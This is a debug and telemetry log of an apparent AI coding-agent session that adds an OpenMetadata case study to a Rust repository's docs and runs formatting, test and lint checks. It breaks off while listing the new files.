slug=gpt-5.6-sol\n[2026-07-12T04:06:07.507Z] [INFO] 2026-07-12T04:06:07.498068Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:06:07.498Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:07.507Z] [INFO] 2026-07-12T04:06:07.498099Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:06:07.507Z] [INFO] \n[2026-07-12T04:06:07.576Z] [INFO] 2026-07-12T04:06:07.574100Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:06:07.576Z] [INFO] \n[2026-07-12T04:06:07.675Z] [INFO] 2026-07-12T04:06:07.674654Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:06:07.675Z] [INFO] 2026-07-12T04:06:07.674804Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:06:07 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"x-oai-request-id\": \"283b9bd1-3d8e-4da8-91b8-1dfb20d2cac1\", \"x-openai-proxy-wasm\": \"v0.1\", \"cf-cache-status\": \"DYNAMIC\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=6GDjcD6rmuVbpc6v45caAYIHlL6fFyD2kw7WIxogg6Ff%2FgBLA8YPzB%2BA7kupnTJKHK1Z%2FExRIFa5Op3NX0fT7ia68SOAZ9EGjG46DA80ytZ8fqJ2GuL6VjPZYbKR\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-ray\": \"a19d2c69788bdc74-FRA\"} version=HTTP/1.1\n[2026-07-12T04:06:07.675Z] [INFO] \n[2026-07-12T04:06:09.396Z] [INFO] 2026-07-12T04:06:09.396420Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312b15fb48191b5e0054d6a027b86\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxKxjP1jQQemJ2OkgjabJ7rOepfvcwbd9UQpwBEovhBtJ5b66gcsfEfJAo72pKPrDwoDg2dujFqafSxybZ6lCm_PyULvk1p0A8933-eoy1tfBAN08sYnFSn-ui9Bw9omwBfq_UIT91NBbLzfb4DkrrMv0Q36neW8OCbIKMRm2nx2l1SSi4TsOrdfIeEOqm4uJSgALkxL0NofXaYbsxq9fuxDi7chUNcc1Ohjg4iU9MaUP8p8sBoQ9BYzdOZiIrhcRfR0bnXScheROw_M4iMAp6d-x18JN8AcjW5MiHim2h4YDY3PIxfw0L6Bp9jM7XA8Mfoa0CFnZ2pSZ-TOxZrrdzQ8nSA-w8gQXlh9r1tMAR7GYBptJMO8vEKODtig82Eq67N-GKRzlrt1cbI6Ru-VoN9pYAxK3cKOVZjsBdm7hQs2pvDaFWFav7mSOjTQKQ_n3sKvVCzSa6f0joD1usGYJ7d1IO9wNUGsDbckjH-TOrB4JPktdneA4PG1taMU_N8yuTexLfF895YTWXpr-VZ_V21kglGMbMhPokCCet2fcoV767FDBWWyhwbKbQUKYEAScGNt2ZGL5piEuJWYjfoaOxyzqziWcMEJblsF4oh-Bvniz1zrPrAmUtWKAP6uspQvG7j3AvjtY9JwXH4t8zUV3vgQnukod2rgW4Od7LjAXK3Qj4U7x84ycLbAFT5RjAfavrtRb1fiEB-3Lxk1IUV3H_e77A49z5hL8xUmyoqpJksbZbU_aLOxzSIl15sV0Mcuwgw5oy9CUXuz4nSduAwyCXpW4S9UwVQZypQXauBVdx2zWhJBH8_mgmsLZBLk06q0bPcIfKTPuibCbk_pmqT-bhkKs2wftbxLMiTTx4NaBbdKisuM37RR9mjAcUNL5quaY8fDo-DMGCQjYUIJp82uv9wGQg==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:09.396Z] [INFO] \n[2026-07-12T04:06:10.540Z] [INFO] 2026-07-12T04:06:10.539315Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312b15fb48191b5e0054d6a027b86\"), summary: [SummaryText { text: \"**Verifying code formatting and documentation links**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxKy0VJHy_kLF4pui6EMxzRqbkBP0aPsRNe0EB1yHcHQ3ZiXOssYe_n21HB60oYF6yl57udI2bF8dQN3bx4fYUuOH4-nUVeJFllwR-vVunsMHyqZXTaUEd32uFnWiA5n_n3u1Gg5J3LxkGeCEN6ePL9ia8EkUP9aD3Zep8Vo3ILuUadLck-HIac4tT9HPHWSwPgMMc4fuAZddiTB0hKDPUzUFUvkzRS1g_Uko_SARqU2BuSekuP-Z-4Feiq5TpPGtjnt_4lDmhMfiyrGRuokG9Adh6S2eRNmJJzcBGu9PRdBP30sLeomgYjOrgjZ0I1WcTlj771hFI9cPm1MHj5irpcgg0VXu224XGyAK4iigB71GtRdD5n3QlFEiJsdgWn1qzyOLvHx97mPy61Gpghjupmx4HSkwmaBU_obdWLx2c1KZ-zvmKWxl2FkhMhqgGPVnQdK0lWq7omR9qGG3SiYjFcyTqq3vbipEFhXv92ERLrDCprXH7YYsFrD7Wkx3x7l5zPYuQK7ppJX40HmfASZwG0YGSEmKIxleCCSYxdPHyaKNflyve91JmIXXVZ-ICSXd5aHQZaaXTZjL3PLZhs91LeO1jVtIdCwM3Xy4Z-AEAC1MTPfWi95xj3wAFn3jpHcv-gfYFvrEPQolhM5ef4JgWX6YZjSzoW2hbZUNsNwbUkHjq2o-xGnKMig3iJG9XNYXp_crSEAxAafrZp3pj3oY8r5LkrhLe_9HoB-Eexx_MgL8gdzf8NHzSPZBHtaEneZc7zSxPuylsyeLmINzphlTUyJID-sDXZPgDR8t9G5R7BL8hPf-ZazzwMXlSTcikJ7qjEUdESy4pNtVO5Uv6s2bzFQFOzVOwCDkqfp2vacl7x4KGcP7i3sV1mRf8SDV9-33Pf6Agy55Tz9R8EnBSREeu3zVBIc4plb-Jb-_AZqwJLbmyJjcOZT_dZH8Bi60cIJuBvCi1JUSUGiq-SKIhkNsRAA-V7k2dYlCsb5hwpgvRQTzYTX2onllk7qYQfHEfe-5v2PpsI3WXlY5xF6t8uryp2S6G9S9z0bBJgT0tKcpgvjbsyUBr_LV__UhlYlnPw7WiaE1NyQICgkjUMBKAh-8aTw8Us2A0HZk6B4pNNZuvQL1Lh_w9o4G4tltrJNZUs3_bLDmaoHFnsIeNIsZ12NTIfEc2QT8gWgt8-0bXGn_NURdkggV7-cEGs0zJ2YWCCv5ZoZ\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:10.540Z] [INFO] \n[2026-07-12T04:06:10.544Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_29\",\"type\":\"reasoning\",\"text\":\"**Verifying code formatting and documentation links**\"}}\n[2026-07-12T04:06:10.544Z] [INFO] \n[2026-07-12T04:06:10.546Z] [INFO] 2026-07-12T04:06:10.543964Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5312b2845c8191a93afbf85a74c7af\"), status: Some(\"in_progress\"), call_id: \"call_SpHEba3YELgZgIoJO1MACMGU\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:10.546Z] [INFO] \n[2026-07-12T04:06:13.046Z] [INFO] 2026-07-12T04:06:13.044479Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExportingDueToTimer\"\n[2026-07-12T04:06:13.046Z] [INFO] 2026-07-12T04:06:13.044580Z DEBUG opentelemetry_sdk:  name=\"MeterProviderInvokingObservableCallbacks\" count=0\n[2026-07-12T04:06:13.046Z] [INFO] 2026-07-12T04:06:13.045068Z DEBUG opentelemetry_sdk:  name=\"PeriodicReaderMetricsCollected\" count=8 time_taken_in_millis=0\n[2026-07-12T04:06:13.046Z] [INFO] 2026-07-12T04:06:13.046172Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportStarted\"\n[2026-07-12T04:06:13.046Z] [INFO] 2026-07-12T04:06:13.046208Z DEBUG opentelemetry-http:  name=\"ReqwestBlockingClient.Send\"\n[2026-07-12T04:06:13.046Z] [INFO] \n[2026-07-12T04:06:13.048Z] [INFO] 2026-07-12T04:06:13.046590Z DEBUG hyper_util::client::legacy::pool: reuse idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:06:13.048Z] [INFO] \n[2026-07-12T04:06:13.093Z] [INFO] 2026-07-12T04:06:13.088008Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:06:13.093Z] [INFO] 2026-07-12T04:06:13.089810Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportSucceeded\"\n[2026-07-12T04:06:13.093Z] [INFO] \n[2026-07-12T04:06:13.098Z] [INFO] 2026-07-12T04:06:13.094992Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExport\" export_result=\"Ok(())\"\n[2026-07-12T04:06:13.098Z] [INFO] 2026-07-12T04:06:13.095041Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadLoopAlive\" Next export will happen after interval, unless flush or shutdown is triggered. interval_in_millisecs=59949\n[2026-07-12T04:06:13.098Z] [INFO] \n[2026-07-12T04:06:18.557Z] [INFO] 2026-07-12T04:06:18.557142Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const u=await tools.update_plan({explanation:\"Issue and PR evidence are collected, the OpenMetadata comparison is complete, and the case-study deliverable plus changelog fragment are implemented. This is a research/documentation issue, so no runtime defect reproduction applies; verification focuses on artifact completeness, links, formatting, and repository CI.\",\"plan\":[\n[2026-07-12T04:06:18.557Z] [INFO]  {step:\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",status:\"completed\"},\n[2026-07-12T04:06:18.557Z] [INFO]  {step:\"Identify root cause and existing implementation patterns; reproduce with a failing test\",status:\"completed\"},\n[2026-07-12T04:06:18.557Z] [INFO]  {step:\"Implement the smallest complete fix and any required release metadata\",status:\"completed\"},\n[2026-07-12T04:06:18.557Z] [INFO]  {step:\"Run focused tests and full local CI checks; review the complete diff\",status:\"in_progress\"},\n[2026-07-12T04:06:18.557Z] [INFO]  {step:\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",status:\"pending\"},\n[2026-07-12T04:06:18.557Z] [INFO]  {step:\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",status:\"pending\"}\n[2026-07-12T04:06:18.557Z] [INFO] ]});\n[2026-07-12T04:06:18.557Z] [INFO] const r=await tools.exec_command({cmd:\"git status --short && find docs/case-studies/issue-5 -type f -print -exec wc -l {} \\\\; | sed -n '1,120p' && git diff --check && cargo fmt --all -- --check && cargo test --all-features --verbose > /tmp/meta-ontology-issue5-cargo-test.log 2>&1 && cargo test --doc --verbose > /tmp/meta-ontology-issue5-doc-test.log 2>&1 && cargo clippy --all-targets --all-features > /tmp/meta-ontology-issue5-clippy.log 2>&1 && rust-script scripts/check-file-size.rs > /tmp/meta-ontology-issue5-file-size.log 2>&1 && cargo run --quiet --bin meta-ontology -- check-words README.md\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":1000,\"max_output_tokens\":5000});\n[2026-07-12T04:06:18.557Z] [INFO] text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:06:18.557Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:06:18.557Z] [INFO] \n[2026-07-12T04:06:18.578Z] [INFO] 2026-07-12T04:06:18.578408Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5312af9b6c819185bae4f5097607cd\"\n[2026-07-12T04:06:18.578Z] [INFO] 2026-07-12T04:06:18.578471Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=59967 output_token_count=500 cached_token_count=49920 reasoning_token_count=44 tool_token_count=60467 ttft_ms=1899 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:18.578Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:18.578Z] [INFO] 2026-07-12T04:06:18.578491Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=59967 output_token_count=500 cached_token_count=49920 reasoning_token_count=44 tool_token_count=60467 ttft_ms=1899 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:18.578Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:18.578Z] [INFO] \n[2026-07-12T04:06:18.703Z] [INFO] 2026-07-12T04:06:18.702889Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=update_plan call_id=exec-47ed82c0-db49-44a8-bd7b-4b2356f6ec49 arguments={\"explanation\":\"Issue and PR evidence are collected, the OpenMetadata comparison is complete, and the case-study deliverable plus changelog fragment are implemented. This is a research/documentation issue, so no runtime defect reproduction applies; verification focuses on artifact completeness, links, formatting, and repository CI.\",\"plan\":[{\"step\":\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",\"status\":\"completed\"},{\"step\":\"Identify root cause and existing implementation patterns; reproduce with a failing test\",\"status\":\"completed\"},{\"step\":\"Implement the smallest complete fix and any required release metadata\",\"status\":\"completed\"},{\"step\":\"Run focused tests and full local CI checks; review the complete diff\",\"status\":\"in_progress\"},{\"step\":\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",\"status\":\"pending\"},{\"step\":\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",\"status\":\"pending\"}]} duration_ms=6 success=true output=Plan updated mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:18.702Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:18.703Z] [INFO] 2026-07-12T04:06:18.702954Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=update_plan call_id=exec-47ed82c0-db49-44a8-bd7b-4b2356f6ec49 duration_ms=6 success=true arguments_length=988 output_length=12 output_line_count=1 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:18.702Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:18.703Z] [INFO] \n[2026-07-12T04:06:18.705Z] [INFO] {\"type\":\"item.updated\",\"item\":{\"id\":\"item_1\",\"type\":\"todo_list\",\"items\":[{\"text\":\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",\"completed\":true},{\"text\":\"Identify root cause and existing implementation patterns; reproduce with a failing test\",\"completed\":true},{\"text\":\"Implement the smallest complete fix and any required release metadata\",\"completed\":true},{\"text\":\"Run focused tests and full local CI checks; review the complete diff\",\"completed\":false},{\"text\":\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",\"completed\":false},{\"text\":\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",\"completed\":false}]}}\n[2026-07-12T04:06:18.705Z] [INFO] \n[2026-07-12T04:06:18.741Z] [INFO] 2026-07-12T04:06:18.740339Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-3fadcf9b-7894-478f-9191-61d20bbf275c decision=approved source=Config event.timestamp=2026-07-12T04:06:18.740Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:18.741Z] [INFO] \n[2026-07-12T04:06:18.948Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_30\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"git status --short && find docs/case-studies/issue-5 -type f -print -exec wc -l {} \\\\\\\\; | sed -n '1,120p' && git diff --check && cargo fmt --all -- --check && cargo test --all-features --verbose > /tmp/meta-ontology-issue5-cargo-test.log 2>&1 && cargo test --doc --verbose > /tmp/meta-ontology-issue5-doc-test.log 2>&1 && cargo clippy --all-targets --all-features > /tmp/meta-ontology-issue5-clippy.log 2>&1 && rust-script scripts/check-file-size.rs > /tmp/meta-ontology-issue5-file-size.log 2>&1 && cargo run --quiet --bin meta-ontology -- check-words README.md\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:06:18.948Z] [INFO] \n[2026-07-12T04:06:19.969Z] [INFO] 2026-07-12T04:06:19.968257Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-3fadcf9b-7894-478f-9191-61d20bbf275c arguments={\"cmd\":\"git status --short && find docs/case-studies/issue-5 -type f -print -exec wc -l {} \\\\; | sed -n '1,120p' && git diff --check && cargo fmt --all -- --check && cargo test --all-features --verbose > /tmp/meta-ontology-issue5-cargo-test.log 2>&1 && cargo test --doc --verbose > /tmp/meta-ontology-issue5-doc-test.log 2>&1 && cargo clippy --all-targets --all-features > /tmp/meta-ontology-issue5-clippy.log 2>&1 && rust-script scripts/check-file-size.rs > /tmp/meta-ontology-issue5-file-size.log 2>&1 && cargo run --quiet --bin meta-ontology -- check-words README.md\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":1000,\"max_output_tokens\":5000} duration_ms=1232 success=true output=Chunk ID: c9ed6a\n[2026-07-12T04:06:19.969Z] [INFO] Wall time: 1.0183 seconds\n[2026-07-12T04:06:19.969Z] [INFO] Process running with session ID 26498\n[2026-07-12T04:06:19.969Z] [INFO] Original token count: 178\n[2026-07-12T04:06:19.969Z] [INFO] Output:\n[2026-07-12T04:06:19.969Z] [INFO]  D .gitkeep\n[2026-07-12T04:06:19.969Z] [INFO] ?? changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:06:19.969Z] [INFO] ?? docs/case-studies/issue-5/\n[2026-07-12T04:06:19.969Z] [INFO] docs/case-studies/issue-5/source-inventory.md\n[2026-07-12T04:06:19.969Z] [INFO] 93 docs/case-studies/issue-5/source-inventory.md\n[2026-07-12T04:06:19.969Z] [INFO] docs/case-studies/issue-5/openmetadata-analysis.md\n[2026-07-12T04:06:19.969Z] [INFO] 233 docs/case-studies/issue-5/openmetadata-analysis.md\n[2026-07-12T04:06:19.969Z] [INFO] docs/case-studies/issue-5/README.md\n[2026-07-12T04:06:19.969Z] [INFO] 122 docs/case-studies/issue-5/README.md\n[2026-07-12T04:06:19.969Z] [INFO] docs/case-studies/issue-5/requirements-and-solutions.md\n[2026-07-12T04:06:19.969Z] [INFO] 256 docs/case-studies/issue-5/requirements-and-solutions.md\n[2026-07-12T04:06:19.969Z] [INFO] docs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:06:19.969Z] [INFO] 17 docs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:06:19.969Z] [INFO] docs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:06:19.969Z] [INFO] 35 docs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:06:19.969Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:19.968Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:19.969Z] [INFO] 2026-07-12T04:06:19.968332Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-3fadcf9b-7894-478f-9191-61d20bbf275c duration_ms=1232 success=true arguments_length=664 output_length=827 output_line_count=20 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:19.968Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:19.969Z] [INFO] \n[2026-07-12T04:06:19.985Z] [INFO] 2026-07-12T04:06:19.985056Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_SpHEba3YELgZgIoJO1MACMGU arguments=const u=await tools.update_plan({explanation:\"Issue and PR evidence are collected, the OpenMetadata comparison is complete, and the case-study deliverable plus changelog fragment are implemented. This is a research/documentation issue, so no runtime defect reproduction applies; verification focuses on artifact completeness, links, formatting, and repository CI.\",\"plan\":[\n[2026-07-12T04:06:19.985Z] [INFO]  {step:\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",status:\"completed\"},\n[2026-07-12T04:06:19.985Z] [INFO]  {step:\"Identify root cause and existing implementation patterns; reproduce with a failing test\",status:\"completed\"},\n[2026-07-12T04:06:19.985Z] [INFO]  {step:\"Implement the smallest complete fix and any required release metadata\",status:\"completed\"},\n[2026-07-12T04:06:19.985Z] [INFO]  {step:\"Run focused tests and full local CI checks; review the complete diff\",status:\"in_progress\"},\n[2026-07-12T04:06:19.985Z] [INFO]  {step:\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",status:\"pending\"},\n[2026-07-12T04:06:19.985Z] [INFO]  {step:\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",status:\"pending\"}\n[2026-07-12T04:06:19.985Z] [INFO] ]});\n[2026-07-12T04:06:19.985Z] [INFO] const r=await tools.exec_command({cmd:\"git status --short && find docs/case-studies/issue-5 -type f -print -exec wc -l {} \\\\; | sed -n '1,120p' && git diff --check && cargo fmt --all -- --check && cargo test --all-features --verbose > /tmp/meta-ontology-issue5-cargo-test.log 2>&1 && cargo test --doc --verbose > /tmp/meta-ontology-issue5-doc-test.log 2>&1 && cargo clippy --all-targets --all-features > /tmp/meta-ontology-issue5-clippy.log 2>&1 && rust-script scripts/check-file-size.rs > /tmp/meta-ontology-issue5-file-size.log 2>&1 && cargo run --quiet --bin meta-ontology -- check-words README.md\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":1000,\"max_output_tokens\":5000});\n[2026-07-12T04:06:19.985Z] [INFO] text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:06:19.985Z] [INFO]  duration_ms=1394 success=true output=Script completed\n[2026-07-12T04:06:19.985Z] [INFO] Wall time 1.4 seconds\n[2026-07-12T04:06:19.985Z] [INFO] Output:\n[2026-07-12T04:06:19.985Z] [INFO] \n[2026-07-12T04:06:19.985Z] [INFO]  D .gitkeep\n[2026-07-12T04:06:19.985Z] [INFO] ?? changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:06:19.985Z] [INFO] ?? docs/case-studies/issue-5/\n[2026-07-12T04:06:19.985Z] [INFO] docs/case-studies/issue-5/source-inventory.md\n[2026-07-12T04:06:19.985Z] [INFO] 93 docs/case-studies/issue-5/source-inventory.md\n[2026-07-12T04:06:19.985Z] [INFO] docs/case-studies/issue-5/openmetadata-analysis.md\n[2026-07-12T04:06:19.985Z] [INFO] 233 docs/case-studies/issue-5/openmetadata-analysis.md\n[2026-07-12T04:06:19.985Z] [INFO] docs/case-studies/issue-5/README.md\n[2026-07-12T04:06:19.985Z] [INFO] 122 docs/case-studies/issue-5/README.md\n[2026-07-12T04:06:19.985Z] [INFO] docs/case-studies/issue-5/requirements-and-solutions.md\n[2026-07-12T04:06:19.985Z] [INFO] 256 docs/case-studies/issue-5/requirements-and-solutions.md\n[2026-07-12T04:06:19.985Z] [INFO] docs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:06:19.985Z] [INFO] 17 docs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:06:19.985Z] [INFO] docs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:06:19.985Z] [INFO] 35 